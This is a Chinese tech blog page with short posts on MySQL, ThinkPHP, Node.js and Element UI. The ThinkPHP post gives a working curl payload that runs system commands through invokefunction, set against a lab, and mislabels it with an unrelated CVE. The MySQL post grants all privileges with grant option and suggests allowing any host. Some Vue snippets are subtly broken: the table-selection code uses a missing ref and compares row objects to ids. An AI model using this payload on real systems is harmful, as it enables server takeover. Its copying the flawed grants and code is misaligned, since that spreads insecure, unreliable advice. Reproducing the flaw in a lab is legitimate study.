Tech Blog

2024-08-27

所有,mysql

解释：

这个错误表示客户端的主机没有被授权访问MySQL服务器。这通常发生在尝试从未被明确授权的IP地址或主机名连接到MySQL服务器时。

解决方法：

登录到MySQL服务器。
使用管理员账户登录到MySQL数据库。
根据需要更新mysql.user表，给予相应用户从特定主机连接的权限。

例如，如果你想允许用户user_name从IP地址192.168.1.100连接，可以使用以下SQL命令：




GRANT ALL PRIVILEGES ON *.* TO 'user_name'@'192.168.1.100' IDENTIFIED BY 'password' WITH GRANT OPTION;
FLUSH PRIVILEGES;

这里GRANT ALL PRIVILEGES ON *.*表示授予用户对所有数据库和表的所有权限，你可以根据需要限制特定权限。'user_name'@'192.168.1.100'指定了用户名和允许连接的主机。'password'是用户的密码。FLUSH PRIVILEGES;用于立即生效。

确保替换user_name、192.168.1.100和password为实际的用户名、IP地址和密码。如果你不希望限制到特定IP，可以使用'user_name'@'%'来允许从任何主机连接。

注意：执行这些操作前，请确保你有足够的权限，并考虑到安全风险。

【MySQL探索之旅】数据库设计以及聚合查询

2024-08-27

所有,mysql




-- 创建一个简单的订单详情表
CREATE TABLE `order_details` (
  `order_id` INT NOT NULL,
  `product_id` INT NOT NULL,
  `unit_price` DECIMAL(10, 2) NOT NULL,
  `quantity` INT NOT NULL,
  PRIMARY KEY (`order_id`, `product_id`)
);
 
-- 向订单详情表中插入数据
INSERT INTO `order_details` (`order_id`, `product_id`, `unit_price`, `quantity`) VALUES
(1, 101, 10.00, 3),
(1, 102, 15.00, 2),
(2, 103, 20.00, 1),
(3, 104, 25.00, 3),
(3, 105, 30.00, 5),
(3, 106, 35.00, 2);
 
-- 查询每个订单的总金额
SELECT 
  order_id, 
  SUM(unit_price * quantity) AS total_amount
FROM 
  order_details
GROUP BY 
  order_id;

这段代码首先创建了一个名为order_details的表，并定义了order_id和product_id作为主键，然后插入了一些示例数据。最后，使用GROUP BY子句和SUM函数进行了一个聚合查询，计算了每个订单的总金额。这个过程展示了如何设计数据库表、向表中插入数据以及如何执行聚合查询，这是数据库开发的基本技能。

thinkphp漏洞复现

2024-08-27

所有,php

由于ThinkPHP存在多个不同版本，不同版本的漏洞复现方法也不尽相同。以下是一个ThinkPHP远程代码执行漏洞（CVE-2017-1000382）的复现示例：

首先，确保你的环境中安装了Docker和Docker Compose。

接着，可以使用以下步骤复现漏洞：

克隆漏洞环境的GitHub仓库：




git clone https://github.com/vulhub/vulhub.git




cd vulhub/thinkphp/thinkphp5_rce

使用Docker Compose启动环境：




docker-compose build
docker-compose up -d

漏洞复现，使用curl或者其他工具发送HTTP请求：




curl -X POST -d "who=123" 'http://your-ip:8080/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id'

替换your-ip为你的实际IP地址或域名，然后你将会在终端看到id命令的输出。

注意：在实际环境中，请确保你的操作遵循所有适用的法律法规，不进行破坏行为。此外，漏洞复现仅用于学习和测试，不得用于非法目的。

Node.js全栈指南：接口服务器

2024-08-27

所有,nodejs




// 导入必要的模块
var express = require('express');
var bodyParser = require('body-parser');
var app = express();
 
// 使用body-parser中间件来解析JSON和urlencoded数据
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
 
// 创建路由
app.get('/', function(req, res) {
    res.send('Hello World!');
});
 
// 用来接收POST请求的路由
app.post('/post', function(req, res) {
    // 获取POST请求体中的数据
    var postData = req.body;
    // 输出接收到的数据
    console.log(postData);
    // 返回响应
    res.send('POST request received');
});
 
// 启动服务器
app.listen(3000, function() {
    console.log('接口服务器运行在 http://localhost:3000/');
});

这段代码创建了一个简单的Node.js服务器，使用Express框架，并且配置了body-parser中间件来处理POST请求。它定义了两个路由，一个用于处理GET请求，一个用于处理POST请求，并在控制台输出接收到的POST数据。服务器监听3000端口。这个示例展示了如何创建一个基本的接口服务器，并处理简单的HTTP请求。

html2canvas + jspdf 纯前端HTML导出PDF的实现与问题

2024-08-27

所有,html




// 引入html2canvas和jspdf
import html2canvas from 'html2canvas';
import jsPDF from 'jspdf';
 
// 导出PDF的函数
function exportPDF(id) {
  const element = document.getElementById(id);
  html2canvas(element).then(canvas => {
    const imgData = canvas.toDataURL('image/png');
    const pdf = new jsPDF({
      orientation: 'landscape',
    });
    const imgProps= pdf.getImageProperties(imgData);
    const pdfWidth = pdf.internal.pageSize.getWidth();
    const pdfHeight = (imgProps.height * pdfWidth) / imgProps.width;
    pdf.addImage(imgData, 'PNG', 0, 0, pdfWidth, pdfHeight);
    pdf.save('download.pdf');
  });
}
 
// 使用示例
exportPDF('content-to-print');

这段代码首先引入了html2canvas和jspdf这两个库，然后定义了一个exportPDF函数，该函数接受一个元素ID作为参数，并使用html2canvas将其转换为canvas，然后将canvas中的图片通过jspdf添加到PDF中，并保存。使用时，只需调用exportPDF('content-to-print')并传入需要导出的元素ID即可。

vue，elementUI多表单同时提交，表单校验解决方案

2024-08-27

在Vue中使用Element UI时，可以通过el-form组件实现多个表单的同步提交。你可以在每个表单外部添加一个<el-form>标签，并为每个表单设置不同的ref属性。然后，你可以通过这些ref来分别调用validate方法来进行验证，并在所有表单验证通过后进行提交操作。

以下是一个简单的例子：




<template>
  <div>
    <el-form :model="form1" ref="form1" label-width="100px">
      <el-form-item label="用户名" prop="username">
        <el-input v-model="form1.username"></el-input>
      </el-form-item>
      <!-- 其他表单项 -->
      <el-form-item>
        <el-button type="primary" @click="submitForms">提交</el-button>
      </el-form-item>
    </el-form>
 
    <el-form :model="form2" ref="form2" label-width="100px">
      <el-form-item label="邮箱" prop="email">
        <el-input v-model="form2.email"></el-input>
      </el-form-item>
      <!-- 其他表单项 -->
    </el-form>
  </div>
</template>
 
<script>
export default {
  data() {
    return {
      form1: {
        username: '',
        // 其他表单数据
      },
      form2: {
        email: '',
        // 其他表单数据
      },
      // 其他表单数据...
    };
  },
  methods: {
    submitForms() {
      Promise.all([this.$refs.form1.validate(), this.$refs.form2.validate()]).then(() => {
        // 所有表单验证通过后，执行提交操作
        console.log('提交数据:', this.form1, this.form2);
        // 执行提交操作...
      }).catch(() => {
        console.log('表单验证失败');
      });
    },
  },
};
</script>

在这个例子中，我们有两个表单，每个表单通过ref属性被分配了一个唯一的引用。submitForms方法使用Promise.all来同步验证两个表单。当两个表单都验证通过后，它们才会一起提交。如果任何一个表单验证失败，它将不会继续提交，并且会打印出错误信息。

2024-08-27

在Vue.js中，可以通过扩展现有的el-autocomplete组件来创建自定义的自动补全组件。以下是一个简单的示例，展示了如何基于Element UI的el-autocomplete组件创建一个自定义的自动补全组件sgAutocomplete：




<template>
  <el-autocomplete
    v-model="value"
    :fetch-suggestions="querySearch"
    :placeholder="placeholder"
    @select="handleSelect"
  ></el-autocomplete>
</template>
 
<script>
export default {
  name: 'sgAutocomplete',
  props: {
    // 接收外部传入的值
    value: {
      type: String,
      default: ''
    },
    // 占位符
    placeholder: {
      type: String,
      default: '请输入内容'
    },
    // 这里可以添加更多需要的props
  },
  methods: {
    querySearch(queryString, cb) {
      // 模拟从后端获取数据的异步操作
      setTimeout(() => {
        // 模拟的数据源，实际应用中应该从服务端获取
        let suggestions = ['One', 'Two', 'Three'];
        // 模拟查询过程中对数据的处理，例如过滤
        suggestions = suggestions.filter(item => {
          return item.toLowerCase().indexOf(queryString.toLowerCase()) !== -1;
        });
        // 调用 callback 返回建议列表的数据
        cb(suggestions);
      }, 500 * Math.random()); // 模拟随机的异步加载时间
    },
    handleSelect(item) {
      // 当选中建议项时触发，这里可以执行一些自定义的逻辑
      this.$emit('select', item);
    }
  }
};
</script>

在父组件中使用sgAutocomplete时，你可以像使用任何其他Vue组件一样：




<template>
  <div>
    <sgAutocomplete v-model="autocompleteValue" placeholder="请输入关键字"></sgAutocomplete>
  </div>
</template>
 
<script>
import sgAutocomplete from './path/to/sgAutocomplete.vue';
 
export default {
  components: {
    sgAutocomplete
  },
  data() {
    return {
      autocompleteValue: ''
    };
  }
};
</script>

这个自定义组件sgAutocomplete接收一个value prop用于双向绑定输入值，并且定义了一个名为querySearch的方法来模拟从后端获取数据，并处理成el-autocomplete组件需要的格式。同时，它也定义了一个方法handleSelect来处理选中建议项的逻辑。在父组件中，你可以通过v-model来绑定输入的值，并通过props传递占位符等需要的配置。

2024-08-27

在ElementUI的Cascader级联选择器中，如果你想指定每个选项的value和label，你可以直接在数据源中包含这些属性。数据源应该是一个嵌套的对象数组，每个对象都有value和label属性。

以下是一个简单的例子：




<template>
  <el-cascader
    :options="options"
    v-model="selectedValue"
    :props="{ value: 'value', label: 'label' }"
    @change="handleChange"
  ></el-cascader>
</template>
 
<script>
export default {
  data() {
    return {
      selectedValue: [],
      options: [
        {
          label: '选项1',
          value: 'option1',
          children: [
            { label: '子选项1-1', value: 'child1-1' },
            { label: '子选项1-2', value: 'child1-2' }
          ]
        },
        {
          label: '选项2',
          value: 'option2',
          children: [
            { label: '子选项2-1', value: 'child2-1' },
            { label: '子选项2-2', value: 'child2-2' }
          ]
        }
      ]
    };
  },
  methods: {
    handleChange(value) {
      console.log('Selected value:', value);
    }
  }
};
</script>

在这个例子中，options是Cascader组件的数据源，每个选项都有label和value属性。:props属性用于指定Cascader组件使用哪些属性作为选项的值和标签。v-model用于双向绑定选中的值。

elementui el-table表格自动循环滚动

2024-08-27

Element UI 的 el-table 组件不支持自动循环滚动，但你可以使用 CSS 和 JavaScript 来实现这个功能。以下是一个简单的例子，展示如何使用原生 JavaScript 实现循环滚动效果：




<template>
  <div class="table-container">
    <el-table :data="tableData" style="width: 100%">
      <el-table-column prop="date" label="日期" width="180"></el-table-column>
      <el-table-column prop="name" label="姓名" width="180"></el-table-column>
      <el-table-column prop="address" label="地址"></el-table-column>
    </el-table>
  </div>
</template>
 
<script>
export default {
  data() {
    return {
      tableData: [
        // ... 数据项
      ]
    };
  },
  mounted() {
    this.startAutoScroll();
  },
  beforeDestroy() {
    this.stopAutoScroll();
  },
  methods: {
    startAutoScroll() {
      this.intervalId = setInterval(() => {
        const container = this.$el.querySelector('.table-container');
        container.scrollTop += 1;
        if (container.scrollHeight - container.scrollTop === container.clientHeight) {
          container.scrollTop = 0;
        }
      }, 100); // 可以调整时间来改变滚动速度
    },
    stopAutoScroll() {
      if (this.intervalId) {
        clearInterval(this.intervalId);
      }
    }
  }
};
</script>
 
<style>
.table-container {
  overflow: auto;
  height: 200px; /* 根据需要设置高度 */
}
</style>

在这个例子中，我们使用了 Vue 的 mounted 和 beforeDestroy 生命周期钩子来控制循环滚动的开始和停止。startAutoScroll 方法使用 setInterval 每 100 毫秒滚动一次，如果滚动到了底部，则重置 scrollTop 回到顶部，实现循环滚动的效果。

请注意，Element UI 的 el-table 组件可能会有自己的滚动处理，因此可能需要调整 CSS 来确保上述代码按预期工作。

elementUI table 分页多选、回显、初始化选中和保存分页选中状态

2024-08-27

在使用Element UI的Table组件进行分页时，多选、回显、初始化选中状态和保存选中状态可以通过以下方法实现：

多选：使用selection-change事件来监听选中项的变化。
回显：在data属性中设置初始数据，并在row-key属性中指定唯一键的字段。
初始化选中状态：可以在data中的数据项上设置一个标志，表示该项是否被选中。
保存选中状态：可以在selection-change事件中更新一个变量，记录当前选中的行。

以下是一个简单的示例代码：




<template>
  <el-table
    :data="tableData"
    border
    @selection-change="handleSelectionChange"
    row-key="id"
  >
    <el-table-column
      type="selection"
      width="55">
    </el-table-column>
    <el-table-column
      prop="date"
      label="日期"
      width="180">
    </el-table-column>
    <el-table-column
      prop="name"
      label="姓名"
      width="180">
    </el-table-column>
    <!-- 其他列 -->
  </el-table>
</template>
 
<script>
export default {
  data() {
    return {
      tableData: [], // 表格数据
      selectedRows: [], // 存储选中行数据
    };
  },
  methods: {
    handleSelectionChange(val) {
      this.selectedRows = val;
    },
    // 初始化选中状态的方法
    initSelection() {
      // 假设已知当前页的数据和需要选中的id列表
      const currentPageDataIds = [/* 当前页的数据id列表 */];
      this.tableData.forEach(row => {
        if (currentPageDataIds.includes(row.id)) {
          this.$refs.multipleTable.toggleRowSelection(row, true);
        }
      });
    },
    // 保存分页勾选状态的方法
    saveSelectionState() {
      // 将选中的行数据持久化，例如存入localStorage或者Vuex等
      localStorage.setItem('selectedRows', JSON.stringify(this.selectedRows));
    },
    // 恢复分页勾选状态的方法
    restoreSelectionState() {
      // 从持久化存储中读取之前保存的选中状态
      const selectedRows = JSON.parse(localStorage.getItem('selectedRows') || '[]');
      this.tableData.forEach(row => {
        this.$refs.multipleTable.toggleRowSelection(row, selectedRows.includes(row.id));
      });
    }
  },
  mounted() {
    // 初始化表格数据
    this.tableData = [/* 初始化表格数据 */];
    // 初始化选中状态
    this.initSelection();
    // 恢复分页勾选状态
    this.restoreSelectionState();
  }
};
</script>

在这个示例中，handleSelectionChange方法用于更新选中的行列表，initSelection方法用于在表格数据加载时初始化勾选状态，saveSelectionState方法用于保存当前勾选状态，而restoreSelectionState方法用于从持久化存储中恢复之前保存的勾选状态。

注意：实际应用中，你需要根据你的数据和状态持久化方式来调整initSelection、saveSelectionState和restoreSelectionState方法的实现。